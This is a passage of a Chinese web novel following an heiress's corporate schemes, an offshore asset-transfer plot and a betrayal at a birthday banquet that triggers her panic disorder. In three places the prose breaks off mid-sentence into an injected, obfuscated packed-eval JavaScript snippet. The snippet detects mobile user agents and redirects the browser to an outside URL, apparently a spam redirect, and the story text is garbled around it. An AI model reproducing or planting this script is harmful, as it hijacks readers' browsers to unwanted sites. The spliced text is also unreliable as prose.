宴北川手上停了动作,商今悦还当他终于死了心。 谁知下一秒他忽然坚定:“我可以保证。” 这回轮到商今悦愣住了。 宴北川把手机还给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14207486|151013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真诚道:“他是个好演员,熬了很久才等到了这次机会……我和他认识了三年,对他知根知底,真的很希望您可以再给他一次机会。” 商今悦盯着他视线复杂,许久没说话。 当然不是因为被他的话打动了,只是忍不住心中唏嘘—— 离开学校这么多年之后,真是的很久……很久没有再见过这种正直又热血的蠢货了。 知根知底,好演员…… 怎么说出这种蠢得祖坟喷火的话的。 她欲言又止了好几次,不知道该先嘲笑一下他的天真,还是先同情一下他的智商。 想来想去,她还是觉得和他说话太浪费口水,余光瞄到门口的岑溪音在看着他俩偷笑,干脆迅速结束和他的谈话:“你找我帮忙就空着手来?” 宴北川没回答,她不耐烦地摆摆手:“以为自己是什么人物,哪来的面子让我白帮忙?没有就赶紧滚,当老子好糊弄,游戏也打得……” 她视线转到宴北川还回来的手机屏幕上,有些意外:居然赢了。 再看宴北川,不知道从哪变出来了一个盒子递过来。 商今悦迟疑着,毫不掩饰脸上的嫌弃拿过来,打开一看,是盒修复疤痕的药膏。 她下意识摸了下包扎好的脸侧,宴北川顿了顿,一如既往的诚恳:“我不知道你喜欢什么,你好像也什么都不缺……” 商今悦难以恭维这份礼物,但当它和那个游戏胜利的界面摆在了一起,抬头又看见宴北川那清澈愚蠢的眼睛,她莫名地泄了口气:“让他演、不换了不换了……满意了吧?赶紧滚。” 商今悦这个服软来得太突然,宴北川自己都震惊居然真的说服了她,迟疑了好久才反应过来道谢,胡乱客套了一通后,生怕她反悔似的迅速地离开了她家。 “你居然吃这一套啊?” 岑溪音端着叠切好的苹果站在门口,边吃边看完了热闹,一路“啧啧”地小碎步走进来,拿起那盒其貌不扬的药膏:“这就把你拿下了?商总,你不会是真喜欢他吧?” 大部分时间里,商今悦真的很想把岑溪音的嘴给缝起来:“我上辈子造的什么孽,交了你这个朋友,天天张口就来恶心我。你刚刚是没看见他那副一根筋的蠢样吗?我要再不松口,他能在我这磨蹭一天。” “那你就甘心钱打水漂了?” “怎么可能。” 商今悦拿走一块岑溪音盘里的苹果,塞进嘴里:“就那个宋岩,我都没怎么细查,一抓一大把的黑料。等过段时间,我找个人放出去,他那个时候再不想换也必须得换了。” 商今悦不意外他今天回来说情,让她更震惊的是,本来以为宴北川顶多就是以朋友的私心来说两句好话。 结果吐出来一堆大言不惭的好演员、知根知底的蠢话。 想到他给宋岩担保时的坚定样子,商今悦都不敢相信自己的耳朵,世界上居然还有这么好骗的傻子。 认识了三年就知根知底,还敢给人担保……该说他是对人不设防,还是脑子不灵光呢? 岑溪音像是和她想到一块儿去了:“你别说,我在外面都听得一愣一愣的,他不会是演的吧?在你面前演纯真哈哈哈……” “管他真傻假傻,别想挡老子的财路。” 商今悦推了推岑溪音的肩膀:“起开,我换衣服。昨天给你说的事去办了吗?” “放心,今天下午就去拿权益书。” “好,别出什么意外。” 商今悦想到沈老头,脸上露出了几分喜色。 这一次,沈家最好真的能接住她送的这份大礼。 10. 碰面 10 把程阳集团的事丢给沈先序后,商今悦难得能把所有顾及抛掷脑后,好好休息一段时间:白天和岑溪音到处野,晚上打游戏,日子过得那叫一个潇洒。 她中间抽了个空,联系陶舟岳把宋岩的黑料散了出去,想到惹她不爽的沈家人和宴北川,这几天都该难受得睡不着觉了,她心里别提有多畅快。 沈先序给岑溪音来电话的当天,她俩还在按摩城里享受。 岑溪音接完电话,对旁边的商今悦晃了晃手机:“啧啧,比我想得还快,投降咯。” 商今悦眼都懒得睁,不屑得意道:“意料之中。” 商今悦很早之前就和岑溪音一起挂名建了家公司。 程阳集团今年手上目前有个大的开发项目,开工了半年多了,商今悦为了以防万一,想法子把换地权益书给先叩了下来,如果无事发生,她就以程阳的名义接着动工,但要是今天这种情况,她就让岑溪音去把权益书签下来,挂到那个公司名下。 权益书在她们手上,程阳集团就算开工也是给她们打工白忙活。那块地位置又好,当年程阳集团上下,也是废了好大功夫才是打通关系拿下来,现在不止拿不到利,还要赔不少进去。董事会又不是沈家一家的,谁能接受得了。 沈先序估计也是被董事会那边逼得焦头烂额了,好不容易查到了握着权益书的公司,在看到岑溪音和商今悦的名字时,别提有多绝望。 他这次只给岑溪音打了电话,估计也想试试看,能不能靠着小时候关怀过岑溪音的小叔叔的身份,和岑溪音商量,能不能通融通融,和他站一头。 “他打电话的时候,都不知道你就在我旁边。” 岑溪音恶趣味地笑了笑:“约的下午的时间,到时候咱们俩一起过去,你猜他会是什么表情?” 商今悦想了想,转头做出一副黑脸的严肃模样:“像这样。” 两人一齐笑了起来。 到了时间,两人简单收拾了一下,到了约好的咖啡馆门口,岑溪音一进门就发现了正靠窗坐着的沈先序,给商今悦指了指。 沈先序也注意到了她们,原本表情还算缓和,但在看见商今悦的一瞬,肉眼可见的黑下了脸。 两人不知道是不是想起了早上的“预测”,看到他和商今悦当时模仿得如出一辙的表情,都没忍住笑出了声,一前一后走过去,坐到了沈先序的对面。 沈先序周围别提有多低气压,沉默了许久后冷笑一声:“果然,你们都说好了。” “什么说好了?” 商今悦揣着明白装糊涂,扭头看岑溪音:“不是他今天不是约的你吗?我就来陪你喝个咖啡,他脸色怎么这么难看。” 岑溪音无辜地摇了摇头,关切地看向沈先序:“沈叔叔,你心情不好吗?” “华信那块地,那个项目已经进行了半年多了……” 他说到一半停下来,郁闷得呼吸都紧促起来,死死瞪着商今悦:“你现在拿着权益书出来截胡,不是一早就算计好了吗?” “什么脏水都泼给我,吓死我了,我可受不起。” 商今悦装模做样地拍了拍自己的心口,招手叫来服务员:“给我来份焦糖布丁压压惊,对面那个人买单。” 岑溪音探脑袋:“我也要。” 沈先序攥紧了拳,脸上尽量保持着长辈的稳重:“你到底想干什么。” “还不够明显吗?” 商今悦演够了,笑盈盈地眯起眼:“这个项目,我们要控股呀。” 沈先序紧紧地盯着她,她不急不慢地抽出一张纸巾,擦了擦面前的桌子慢条斯理道:“现在权益书在我们手上,我们想一脚把你踹开,自己包揽这个项目,也不是不行,就是程阳之前投进去的财力人力物力,全打水漂了。这可怎么跟董事会解释呢。你现在不该对我们黑脸,该求着我们入股呀。” 岑溪音看热闹不嫌事大,和商今悦唏嘘着摇头:“入股还没我们单干赚的多呢。” 沈先序明显知道问题的严重性,耐下了脾气:“你们要多少。” 商今悦比了四根手指:“百分之四十。” “不可能,程阳集团的投入成本都抵不上”,他一口回绝:“今悦,你也是集团的人,忍心看着大家白忙活半年吗?” 商今悦不以为然,甩甩手:“我现在可不是什么程阳集团的人。” 布丁正好上来了,商今悦拿着叉子分了口到自己嘴里,欣赏着沈先序精彩的表情后,笑意更甚:“好吧,还有一个办法。我回程阳集团,全权接手这个项目。一分不亏,怎么样?” 沈先序再也难以控制面部表情,看向她的表情几乎是想把她咬碎:这个位置他好不容易才坐上,现在还没热乎一个月呢。 “实在没办法,就回家找你爸爸告状去吧,说你在背后被坏人算计了,呜呜呜,就像……你上次算计我一样。” 商今悦边吃边伸出两只手到眼边,煞有其事地做出哭脸的模样:“回家找你的好爸爸,把你这套说辞讲给他听,再添油加醋地说说我怎么恶毒,怎么不顾大家利益的……看看以他的脾气,是会先出面帮你出谋划策,还是先嫌弃你这个没用的废物沈总,怎么连程阳集团嚼碎了的肉都咽不下去。” 沈先序沉默了很久。 商今悦也静静地吃着布丁,根本不担心老爷子那边的事,稳操胜券。 作为领导的人,可以恶劣到坏事做尽,但绝对不能平庸无能。不然就会像沈先序一样,抱着肥肉当不了猛虎,就只能被疯狗追着咬。 沈老头怎么会不明白这个道理?说句难听的,今天坐在这里谈判的人还是她商今悦,要是被其他人发现,现在程阳集团的领导人换成了条好欺负的趴耳狗,不出一年就会被瓜分得干干净净。 在沈程硕没回国之前,哪怕知道她再不怀好意,也只能将程阳暂时交给她打理。 等到她将那块布丁吃完,沈先序也做出了决定:“你回来吧,董事会那边我会交代清楚。” 商今悦轻笑:“不找你爸爸诉诉苦了?” 没想到这句多余的嘲讽引来的意外的回答。 沈先序叹气:“你走之后的第二天,老爷子忽然血管硬化加重昏迷了,现在还在医院躺着……不知道能不能醒。” 商今悦脸上的笑微微凝住,也反应过来,计划能进行得这么顺利,也是因为老爷子压根就没时间告诉沈家人,还有她这个危险因素。 明明是有利于她计划的消息,商今悦却意外地发现,自己不怎么高兴得起来。 “你有空的话,也回医院看看吧。” 沈先序撂下这句话后就起身,商今悦深思片刻后,朝他点了点头,他便转身离开了。 “他买单了吧?” 岑溪音伸着脖子,确定沈先序买完了单再离开,转头看见商今悦不知什么时候点燃了一支烟,推了推她:“你怎么了,担心你家老头了?” 商今悦回过神,叹道:“是啊,毕竟还养我这么多年呢,我好赖得挑个日子回去看看。” 岑溪音静静地盯着她神游,没忍住自言自语般低声:“你现在抽烟……真的没问题了?” “什么?”商今悦没听清。 岑溪音笑了笑:“没什么。” 事情她和那晚岑溪音计划的一样顺利。 商今悦重新回到了程阳集团,经过沈先序这么一折腾,集团里她说话的份量反而更上一层楼了,讨论了很久的X海的项目,终于是被确定了下来。 而商今悦也按照答应岑溪音的条件:权益书仍是挂在两人公司的名下,等于岑溪音什么都没做,就拥有了随时把这个项目抽成回来一半的权力。 岑溪音拿到合同的时候,都忍不住吃惊:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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平时那个体面到衬衣领子都看不着一丝褶皱的老头,现在静静地躺在床上,头发乱了也没功夫打理,褪下了昂贵的外衣,大大小小的仪器连接着他削瘦的身体,走近才发现,原来他两鬓花白,眼角的皱纹怎么也遮不住,骨头随着年岁增长佝偻起来,皮肤也变得枯黄黯淡。 商今悦坐在病床边,不知道待了多久,她不知道自己现在算不算难过,但清楚地感觉到惊讶,原来老头是真的老了。 家庭这个东西,太奇怪。 明明两人只是曾经名义上的爷孙,甚至没有任何血缘连接,明明她从小到大对他有数不清的怨言,甚至有无数该痛恨他的理由,但仿佛这一刻,他的固执、封建和自私,做过的所有恶事全都被一笔勾销。 记忆里,便只剩下了那个随时会从手心变出糖果给她的老头。 病房中,仪器将他的心跳声化作一声声平静的滴答滴答,却渐渐变成了一把把刺向她的钝刀,扎得人心脏生疼。 “小姐,喝些水吧。” 身后温和的女声将她的甚至唤醒,她揉了揉脸上僵硬的肌肉起身,一个模样灵巧的女孩站在门口,和她年纪相仿,是平时负责照顾老头的保姆陈月瑛。 她走过来给她递了杯水,交递杯子的时候,手指轻轻碰了两下她的指尖。 商今悦察觉到她的动作,看向她的眼睛,视线坚定。 “时候不早了。” 她喝完水,不多做留念,拿起包起身,和门口的沈家夫妇道别:“我回去了,你们这几天辛苦,有什么事给我打电话。月瑛姐,我这会不太舒服,你帮我开下车。” 陈月瑛走在她身前引路,两人一路沉默,直到临到了停车场,陈月瑛替她打开车门,低声在她耳边道:“那边态度明确了,下周岑老爷的生日宴之后碰面。” 商今悦扬起一抹笑意,微微点头着坐上车:“好。” 11. 宴会 11 很快到了日子,为了庆祝岑溪音的爷爷岑海兴的八十大寿,岑家几乎邀请了京城里各个叫得上名字的名流家族。 商今悦代表沈家参加,今天打扮得格外光彩照人,花了近两个多小时收拾好妆发,身穿米色抹胸长裙,外披一着条白色披肩,头发微微束起,比往日更添了几分温柔知性,颇有种吾家有女初长成的韵味。 连家里看惯了她各种造型的保姆们也夸个不停,一起围着她拍了好些照片,才在众人的簇拥上了车。 岑家庄园在城区外,商今悦坐了将近一个小时的车才到了地方,远远就看见一群人正围在花园外露天烧烤,岑溪音穿着身亮眼的深蓝礼服,看见了她的车,高举着刚穿好的肉串朝她挥手,提着裙子小跑过来:“可以呀,打扮得人模狗样的。” “你今天也很像个人”,商今悦心情很好:“岑爷爷呢?” “在楼上下棋呢,估计不到晚饭下不来。” 两人有说有笑往庄园里走,商今悦对这边环境也不陌生,从小她们和沈程硕三人就在两家互相跑,见了庄园里的旧陈设,还能聊起小时候的轶闻趣事。 快到开宴的时候两人才进会场,此时大厅全是人头,大家互相交谈着,看得出十分满意,现场多得是平时一面难求的大人物,能多结识几个人脉,也算是不枉此行。 岑溪音也很喜欢家里办宴会的时候,因为可以不用顾及其他礼仪。她随意拉着商今悦走到楼梯上一个视角极佳的位置,舒舒服服靠着看楼下人头攒动,环视一圈:“那个是我目前找到的最帅的,等会咱过去要个联系方式。” 商今悦无奈地笑着,顺着她的手势看过去,是个身穿墨蓝色西装的男人,被围在几人中间攀谈,头发被干净利落地梳了上去,露出光洁饱满的额头,五官俊朗,双目微垂,举手投足间确有几分博物洽闻的富家公子气。 岑溪音盯着那人,摩挲着下巴反复品味:“不过我好像还真没见过这人,什么来头……你认识吗?” 商今悦不着痕迹地迅速收回视线:“不认识”,转头从路过的服务生手上的托盘上取了杯香槟喝了小口。 “走走走,去看看……” 两人下楼先四处打听了一下消息,才知道那人来头不小,是近几年京城正兴起得势的新锐,纪华集团的董事长,叫纪明阳。 他手下的制药公司和岑家的几个项目还是竞争关系,今年两家情况稍稍缓和了些,才受邀来了这次生日宴。 “怪不得前几年没见过……” 岑溪音说完,才不管什么竞不竞争对手的,拉着商今悦就往纪明阳那边凑。 纪明阳还在被几个长辈调侃:“纪总年纪也不小了,该考虑谈个恋爱结婚了吧?” “见笑了,还没到那个年纪,集团这几年事情也多,哪顾得上……” 虽然纪明阳打了几个幌子略过了话题,几人还是借着生意要了联系方式,含沙射影地想把自家的优秀女孩给介绍介绍。 “那我们也要一个。” 商今悦还没反应过来,就被岑溪音拉着挤到了人群中。岑溪音笑意明朗地划开手机:“青年才俊,我们也想认识认识。你好,我叫岑溪音,溪水的溪,音乐的音,今天大寿星的那个岑。” 几个长辈见识过岑溪音顽劣跳脱的性子,只是哄笑几声。纪明阳看到突然蹦出来的两人顿了顿,随后恢复了礼貌的笑,点头应道:“纪明阳,久仰岑小姐大名。” 两人加上联系方式后,岑溪音推了推商今悦:“你也把手机拿出来啊,加上加上……” 纪明阳和商今悦抬眼对视,空气莫名干住了一瞬。 商今悦先反应过来,偷偷踹了岑溪音一脚,用只有两人能听到的声音咬牙切齿:“你迟早要被沈程硕给活埋了。” “怕什么,你又不跟他一头的”,岑溪音同样小声:“想想以后把他甩了,多个帅哥多个选择呗。” “那我也对他没兴趣……” “岑小姐,我可以只加您的联系方式吗?” 纪明阳忽然开口打断了两人的窃窃私语,他看向岑溪音,目光温柔似水:“能认识您,纪某人已经十分荣幸了。实在没那么大面子,同时认识两位千金。” 明眼人都隐约从纪明阳的话里听出来了暧昧意味,气氛一下子变了。 周围汇集过来越来越多的视线,岑溪音暗暗吸了口凉气,难为情地干吹了两声口哨缓解尴尬:“好吧、好吧……” 岑溪音收起了手机,两人迅速从中抽身了出来。 宴会继续,无人再在意这段小插曲。 岑家这次生日宴办的十分豪华,岑溪音当着众人的面向爷爷祝寿贺词,送给两位老人一对价值过千万的翡翠镯,才气横溢、落落大方的模样,不知羡煞了在场多少人。 趁着众人忙碌的时候,商今悦躲开人群的注意,从会客厅溜出来,快步往一处无人的花园里去,尽头处,纪明阳已经站在那等着了。 她惊魂未定地捂着心口:“还好你刚刚反应快,千万别让人发现了,以后要随时把联系方式都删掉。” 纪明阳也神色紧张:“我知道。” 两人早在两年之前就认识了。 那时候商今悦才正式接管了程阳集团一年多,说是掌权,实际上大事的决策权根本不在她手上,董事会明里暗里都是老爷子的人,老爷子人不在集团,但仍事事压她一头。 这种感觉让商今悦尤其不爽,她从小到大,还从来没看过谁的脸色,但对象换成了一手把她带大的老爷子,她也不是完全不能接受。 彻底点燃她的导火索,是一次查到了程阳集团早期的陈年旧账。 她发现二十年前的程阳集团只是个普通的化工公司,而让“程阳集团”这个名字第一次在京城响彻的那笔订单,最初敲定的合作方,是她亲生父亲手中的鸿腾集团。 她的父亲在那笔订单即将交付那年在家中,随母亲殉情离去。 那年之后,她被沈家收养。那年之后,鸿腾集团的存在几乎被抹得干干净净,取而代之的,是沈志华所带领的程阳集团。 商今悦翻遍了所有能找到的资料,心中更加确信,程阳集团的前身,就是她父亲的鸿腾集团。 当初两辈人之间到底发生了什么,商今悦无从得知。但最清楚的事实是:现在的程阳集团,至少有三分之一都是她父母的产业。 而现在,沈家的人,在她父母留给她的地盘上……大摇大摆地骑到了她的脑门上。 照现在这样发展下去,等到她真的换干净老爷子的人,恐怕要六七年后去了。 但其实她根本等不到六七年后,两年之后沈程硕就要回国了,到时候靠着他过去的威望和沈家的支持,骑她的脑袋上的沈家人又多了一个。 从那之后,商今悦彻底坚定了念头:她要把程阳集团拿回来。至少要让沈家人,把他们曾吞下的她父母的那份,原封不动地全给吐出来。 但离沈程硕回国只有不到两年了,要单靠她一个人,瞒着沈家上上下下的眼线架空董事会,不用点特殊手段是不行的,她一个人单打独斗更不行。 至少得有个同流合污的人,可京城上下,上哪去找敢和沈家对着干的疯子…… 随后她便注意到了纪明阳。 那年纪明阳刚刚建立纪华集团,发展神速到商圈里是个人都看得出来不对劲的程度。 商今悦以为他就是个初生牛犊,不懂门道,约见到他的时候,有意无意暗示他收一收手,意外的是,纪明阳心里门清得很,也知道利害关系。 商今悦更费解他的动机,纪明阳沉默了一瞬,坦诚道:“我缺钱,我需要很多钱,我要去找一个人……我怕晚了,就什么都来不及了。” 话说到这个份上,商今悦也不再多问了,老实说,她从商这么多年,还从没见过这么不要命捞钱的,简直像个亡命徒。 但既然他敢赌上身家性命,商今悦当然很愿意合作。 况且也只有这种亡命徒,才敢和她一起干被刺沈家的事了。 决定合作之后,纪明阳用自己做法人,在海外一个不知名的岛上注册了家公司:方便商今悦做程阳集团的资产转移。 所有转移成功的钱都在纪明阳的账户上,而商今悦掌握着他的“罪证”。从做这件事开始,两人就已经是一根绳上的蚂蚱了,绝不能被其他人发现两人的来往动向。 两人筹备了整整两年,现在终于等到X海的项目被敲定,她也是时候将这份送个沈家的大礼揭晓了。 纪明阳调整好呼吸,拉回正题:“这次去哪……你没什么其他顾虑吧。” “我能有什么顾虑,你不临阵脱逃就行……”商今悦大口喘着气,其实从在大厅差点露馅的那一刻开始,心脏就跳得飞快。 她不陌生这种要命的感觉,很快意识到,是太久没来过这种人多的场合,加上今天出门前没有吃药,身体才出了问题。 但她没兴趣跟别人分享自己的私事,所以不多废话,在石凳上坐下来缓了缓语气,从身侧取出一把钥匙递过去:“资料都在2905,陈月瑛这会在你车上等着了,她知道去哪。” “好”,纪明阳将钥匙拿走,看向她的时候,还是没忍住多问了句:“你还好吗,从刚刚开始脸色好像不太好,是吃错什么东西了吗?” 商今悦摆摆手:“没事,老毛病。” 她说完,看了看手机时间岔开话题:“你别消失太久,赶紧回去,我在外面歇会。” 纪明阳走后,商今悦的情况其实没有好转起来太多,胸腔中的压抑感更甚,心脏几乎要跳出嗓子眼,她强撑起身去车里找备用的药。 推开车门,刘杰正在收拾着柜子,见到她惊道:“小姐?您没事吧。” 商今悦已经难受得有些喘不上气了,懒得多做解释:“把药给我……” 刘杰熟练地把药和水杯翻出来给她递过去,吃完后商今悦坐在车上等了会,今天药起作用似乎格外地慢。 宴会厅那边不知怎的忽然爆出一阵欢腾,她担心是出了什么状态,匀均好呼吸,还是不顾刘杰的劝阻,走下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14207488|151013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车去。 走到宴会厅大门,岑溪音还在笑颜盈盈地和宾客攀谈,见商今悦走过来,并未察觉异样般抱住她的胳膊:“你去哪儿了,怎么一直没找到你?” “出去透了会气。” “回来得正好,你差点错过了好东西。” 岑溪音领着商今悦来到了无人的二楼,一路来到阳台:“刚刚有人给爷爷准备了份大礼,咱们在这里看得最清楚。” “什么?” 岑溪音笑而不语,商今悦现在也没工夫多猜,感觉浑身上下没有一处是自在的。 正当她倚在阳台试图吹一吹风冷静些许时,眼前寂寥的夜空中,忽然升起了一道耀眼的火光。 眼眸中,那抹明亮炸开的一瞬间,商今悦全身僵在了原处,随着一声剧烈的爆炸之后,大脑陷入了一片空白。 她隐约感到眼前的视线逐渐变得不真切了,人、事、物,整个空间都在交叠,扭曲,外来的声音像是隔着层膜在耳朵旁击打,她都听不真切了,只听得见逐渐逼快的心跳和脑中越发激烈的电流传过的声响。 忽然有只手猛地抓住了她的胳膊,但她几乎是本能地就甩开了。 第二声爆鸣声响起,她听见一声慌乱的喊叫,可声音来源似乎是她自己。 那一瞬间,她恢复了清醒,抬头对上岑溪音的视线,她的脸上罕见露出来了紧张,正睁大了眼朝她看了过来:“你的病……不是已经好了吗?” “溪音,今悦,你们楼上没事吧?我们刚刚好像听见出了什么意外……” 楼下传来岑溪音家人的呼唤和急匆匆的脚步声,商今悦瞬间清醒:绝对不能在众目睽睽之下被这样带出去。 但她试图张开正颤抖着的嘴,却发现自己一句话都说不出来。 现实没有给她更多思考的时间,身后一声声烟火升腾、爆开的声音,瞬间她脸上的血色褪了个干净。 她几乎将面前唯一的岑溪音当作救命稻草般,猛地躲进了她的怀里一动不敢动。手臂、肩膀、甚至整个身体都在无法控制地剧烈颤抖。 脚步声逐渐逼近停下,商今悦紧闭上眼不敢试想接下来发生的事,脑袋上却传来了岑溪音的轻抚:“刚刚楼上突然蹿出来了有条蛇,今悦被吓到了,你们快去找找看,再来几个人带她去休息。” “哦哦哦,快,赶紧去……” 那些脚步再次匆忙起来,耳边传来岑溪音的安慰:“我会替你保密的,好好休息一晚吧。” 她心中五味杂陈,此刻大脑却是一片空白。 很快,岑家的人就赶了过来带她去另一栋位于大厅后方的别墅里休息。 宴会很快接近了尾声,岑溪音送几个认识的朋友出门,意外发现宴北川居然在庄园门口等着。 岑溪音这才想起来,宴北川早上好像确实给她发过消息,说有事想请她帮忙问她时间方便。 她当时还在看宴会的事,就随手就把位置发了过去,约了宴会结束后的时间,不过忙着忙着就把这档子事给忘了。 宴北川这几天因为宋岩的事情,好几个晚上都没睡。 宋岩是他进圈子第一个熟识的前辈。那时候他妈妈刚过世,宋岩帮忙开导、提携了他很多,他也一直心存感激,所以下决心自己拍电影的时候,他第一个就找到了宋岩通气,但宋岩对他交待的生平和黑料,在宴北川看来,都算是可控范围之内的,于是便答应了和他合作,没想到宋岩还对他隐瞒了曾经好几次和资方的秘密交易。 看着那些不堪入目的新闻,他不是没生过气。但当宋岩出现在自己面前,几近失语地说着没有办法,边哭边道歉是,他还是没忍住心软了。 这几天为了公关,他尝试找了各种能联系上的关系,但都无一例外被拒绝了。 好心人提醒他,不是帮不了,是不能帮,宋岩不知道得罪的是哪尊大佛,铁了心地要把他搞下去,没人敢和那人对着干,要想捞他,就只能找比那人还硬的背景。 这时候有人给他指了条明路:岑溪音可能还有办法。 他和岑溪音也只是萍水相逢的关系,但抱着试试看的态度,还是去问了问,没想到岑溪音居然真的同意了见面。 谁知他刚把宋岩的事情对岑溪音说完,就引来对方毫不掩饰的一声讥讽:“老天爷,你是演的吧?别告诉我,你到现在都还不知道是谁在算计你们?” “……不知道。” “老天爷,你是真是个……” 岑溪音噗嗤一声笑了出来,摇了摇头:“谢谢你,这还是我今晚第一次真的笑出来。” 宴北川愣住,岑溪音笑完了,饶有兴趣地盯着宴北川思考:“不过都到这个份儿上了,我也不介意再给她添点乱……” 岑溪音冷笑一声,突然收起了笑意,眼神变得和平时判若两人般冰冷:“喏,她现在就在那边,你想报仇的话,顺便也帮我多踹两脚。毕竟互相算计了这么多年,这还是我第一次赢她。” 她抬了抬下巴,宴北川顺着她示意的方向看过去,正是位于宴会厅后的别墅。 12. 设计(入v预告) 12 不知道已经过去了多久,商今悦蜷缩在床上,感觉一点都没好起来。 妈妈在生她的时候难产离世,她爸爸从那之后就憔悴了不少,商今悦记忆里有关他的片段,也总是他抱着妈妈照片流泪的模样。 终于在她三岁生日的那天,他彻底崩溃,推翻了原本为她庆祝生日的蜡烛,淹没在大火中如愿随妈妈而去。 她在那场大火中侥幸生还,落下了严重的创伤后应激障碍。 最开始是精神恍惚,好几年才能从病床上走下来正常上学,但一直到十几岁的时候,还是见不了火光和任何灼烫的东西。 谁也想不到,就在所有人都觉得她的人生无望的数年后,当年那个只敢怯生生跟在沈程硕身后的跟屁虫摇身一变,成为了坐在程阳集团的第一把交椅的商总。 她幽幽点燃一支烟,堂下再无人异议。 这十多年里,她怎么一步步强逼着自己克服恐惧,直到坐在现在这个位置,又付出了多少艰辛,只有商今悦自己知道。 但这段艰辛也只有自己知道就好:卖惨没用,没人会接受自己的领导人是个精神病,要想站得高,对外她装也得装出来正常人的样子。 想到今天的事情,虽然岑溪音答应过会保密,但商今悦还是隐隐觉得不安,总觉得今天发生的事有哪里不对。 她撑起身,好不容易摸到了自己的手机,天杀的玩意不知道什么时候没了电,已经关了机。 商今悦气得把手机甩了出去,但整个手臂现在都是软绵绵的,手机只是一声闷响地落在了床边的地毯上。 她忍不住叹气:今天不知道为什么,所有事都在掉链子,吃的又是什么破药,半天没点起作用。 匀均好呼吸后,她准备挪到床沿把手机捡回来,找找有没有充电的地方,门却意外地打开了。 商今悦在看见来的人时,惊讶到瞳眸猛地收紧:“月瑛姐?” 陈月瑛拿着药和毛巾,急色匆匆地来到她身边:“放心吧小姐,我过来的时候没人……快,把药吃了……” 商今悦嘴唇发僵,感觉到陈月瑛在双手颤抖地往她嘴里塞着什么,大脑飞速运作着:“等等,你怎么在这里,纪明阳呢?” “刘杰去送了。” 陈月瑛把杯子送到商今悦嘴边:“我准备去找纪总的时候,他突然跑来找我说,你刚刚恐慌症犯了,但在车上拿错了药,让我赶紧给你送到别墅来,免得被人发现不对。” 商今悦呼吸紧促起来:她明明记得,刚刚在车上吃的药是刘杰亲手给她的,刘杰又怎么知道她现在在别墅休息…… “药就是他故意换错的……” 商今悦大口地喘着气,抬起头时神色有些狼狈,视线恶狠狠地瞪着前方,虚弱地甩开陈月瑛发手:“他大爷的……吃里爬外的狗东西。” 陈月瑛的脸庞瞬时变得煞白,终于后知后觉反应了过来其中的问题。 “没时间了……” 商今悦伸手搭着陈月瑛的肩膀虚弱起身,从床上撑起,抓过她手中的药和水杯,看也不看地一口闷了下去。 温水溢出杯子撒了满床,陈月瑛急得想去扶正,商今悦喝完后,却愤怒地一把将杯子扔了出去:“找纪明阳,赶紧联系纪明阳,让他今天说什么也别过去,我手机没电了在地毯上……” 陈月瑛立刻领会,俯身找到她的手机充上电。 商今悦依靠在床沿闭目,等着药效的同时,脑中迅速复盘着今天发生的一切,逐渐理清楚了所有。 手机开机后,陈月瑛迅速给她拿过来,但偏偏今天两人特意互相叮嘱了消匿来往信息,电话怎么也接不通。 “我早该想到,就是冲着我来的啊……” “什么?” “你来接着打,不要停、打不通就一直打……” 商今悦把手机交给陈月瑛,一边尝试起身,一边向她解释清楚现状。 “我们中计了,岑溪音已经知道我们在和纪明阳合作了……刘杰是她的人,今晚搞这么一出就是为了引我犯病,好把我们都困在这里没法给纪明阳放信。他们的人现在肯定都在那边等着了,就等纪明阳上门去拿那份资料、到时候人赃俱获,我们一个都跑不掉……” 陈月瑛瞳眸里瞬间闪出了水光:“对不起、对不起,都是我的错……” 商今悦摆摆手,就算今晚陈月瑛没上当,岑溪音绝对也有后手准备,说不定陈月瑛如果没上当的话情况还会更危险,现在待在她身边反而还是安全的。 商今悦现在没精力在安慰她,撑着她的胳膊起身:“你刚刚进来的时候没人拦,说明他们人还没过来,快、快点扶我起来,我们现在赶紧开车去拦纪明阳,等会岑溪音肯定要派人过来把我们困在这的。” 商今悦浑身没劲,双腿抖得几乎站不起来,陈月瑛小心地搀着她,但她只有一米六,商今悦的体格比她大了太多,刚一离开床,两人就一同地歪栽了下去。 商今悦颤抖地抓紧手指撑地:“再来……” “好……” 就这样,两人尝试了好几次,总算是一步一晃地走出去了几米,刚离开卧室,大门却被人拉开,紧接着走进来个她怎么也想不到的人。 宴北川和商今悦如出一辙的震惊:她为什么会在这里? 而且更让他意外的是,此刻的商今悦看上去也太不对劲了…… 妆发凌乱,脸上见不到一丝血色,碎发被汗水浸湿贴在脸颊,只能依靠着别人站着,双目氲氤,虚弱地张开嘴喘气,有气无力地像是刚从水里被捞出来。 他还从来没有见到过她这么狼狈的模样。 商今悦认出来了宴北川,只感觉心口、喉间都有股待喷出的火焰在烧着,她抓住陈月瑛的衣袖,咬牙切齿地瞪着宴北川:“你也是岑溪音那边的人……” 